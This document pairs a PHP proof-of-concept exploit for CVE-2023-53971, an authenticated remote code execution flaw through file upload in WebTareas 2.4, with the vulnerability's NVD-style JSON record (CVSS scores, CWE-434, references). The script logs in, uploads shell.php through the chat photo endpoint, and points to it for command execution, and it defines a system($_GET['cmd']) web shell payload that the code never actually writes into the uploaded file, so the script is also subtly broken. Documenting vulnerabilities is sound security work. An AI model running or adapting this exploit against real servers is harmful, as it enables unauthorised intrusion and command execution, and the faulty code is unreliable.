CVE-2023-53971

<?php // CVE-2023-53971 PoC - WebTareas 2.4 Authenticated RCE via File Upload // Target: WebTareas 2.4 // Vulnerability: Unrestricted file upload in chat photo functionality $target = 'http://target.com/webtareas'; $username = 'attacker'; $password = 'password123'; $upload_endpoint = '/main/inc/ajax.php?type=message&action=uploadPhoto'; $webshell_name = 'shell.php'; // Step 1: Login to get authenticated session $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '/index.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'login='.$username.'&password='.$password); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); // Step 2: Upload malicious PHP file $php_payload = '<?php system($_GET["cmd"]); ?>'; $post_data = [ 'photo' => new CURLFile(tempnam(sys_get_temp_dir(), 'up'), 'application/x-php', $webshell_name) ]; curl_setopt($ch, CURLOPT_URL, $target . $upload_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); // Step 3: Execute command via uploaded webshell echo 'Check uploaded shell at: ' . $target . '/files/Messages/' . $webshell_name . '?cmd=whoami'; curl_close($ch); ?>

{"cve": {"id": "CVE-2023-53971", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:02.097", "lastModified": "2025-12-26T17:24:05.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebTareas 2.4 contains a file upload vulnerability that allows authenticated users to upload malicious PHP files through the chat photo upload functionality. Attackers can upload a PHP file with arbitrary code to the /files/Messages/ directory and execute it directly through the generated file path."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webtareas_project:webtareas:2.4:-:*:*:*:*:*:*", "matchCriteriaId": "B45A453D-56FE-4EA7-83F3-5F10F4608CE3"}]}]}], "references": [{"url": "https://sourceforge.net/projects/webtareas/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51089", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/webtareas-authenticated-remote-code-execution-via-file-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}